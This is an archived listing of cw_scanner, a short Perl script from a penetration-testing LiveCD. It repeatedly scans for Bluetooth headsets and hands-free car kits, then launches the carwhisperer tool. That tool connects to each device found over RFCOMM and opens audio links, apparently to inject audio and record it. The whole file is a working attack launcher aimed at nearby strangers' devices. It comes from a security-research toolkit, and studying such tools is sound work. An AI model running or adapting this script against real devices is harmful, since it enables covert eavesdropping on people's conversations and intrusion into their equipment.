home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / bin / bluediving / tools / cw_scanner < prev    next >
Encoding:
Text File  |  2006-01-23  |  991 b   |  31 lines
  1. #!/usr/bin/perl
  2.  
  3. # cw_scanner
  4. #
  5. # in July 2005 by Martin Herfurt (martin@trifinite.org)
  6. # 
  7. # The cw_scanner script is repeatedly performing a device inquiry for visible 
  8. # Bluetooth devices of which the class matches the one of Bluetooth Headsets 
  9. # and Hands-Free Units. Once a visible Bluetooth device with the appropriate 
  10. # device class is found, the cw_scanner script executes the carwhisperer binary 
  11. # that connects to the found device (on RFCOMM channel 1) and opens a control 
  12. # connection and connects the SCO links.
  13.  
  14. undef @device_history;
  15. mkdir("results", 0755) || die "Cannot mkdir results: $!";
  16. while (1) {
  17.     $i++;
  18.     open HCITOOL , "hcitool -i hci0 inq --flush | grep 0x200 |";
  19.     @devices=<HCITOOL>;
  20.     close HCITOOL;
  21.     chop $device;
  22.     ($bdaddr,$co,$class)=split ' ', @devices[0];
  23.     print $bdaddr."\n";
  24.     if (length($bdaddr)>10) {
  25.     
  26.         system("echo -e \"$bdaddr\\n\" > results/$i.log");    
  27.         system("./carwhisperer 0 message.raw results/$i.raw $bdaddr 1 >> $i.log");
  28.         undef $bdaddr;
  29.     }
  30. }
  31.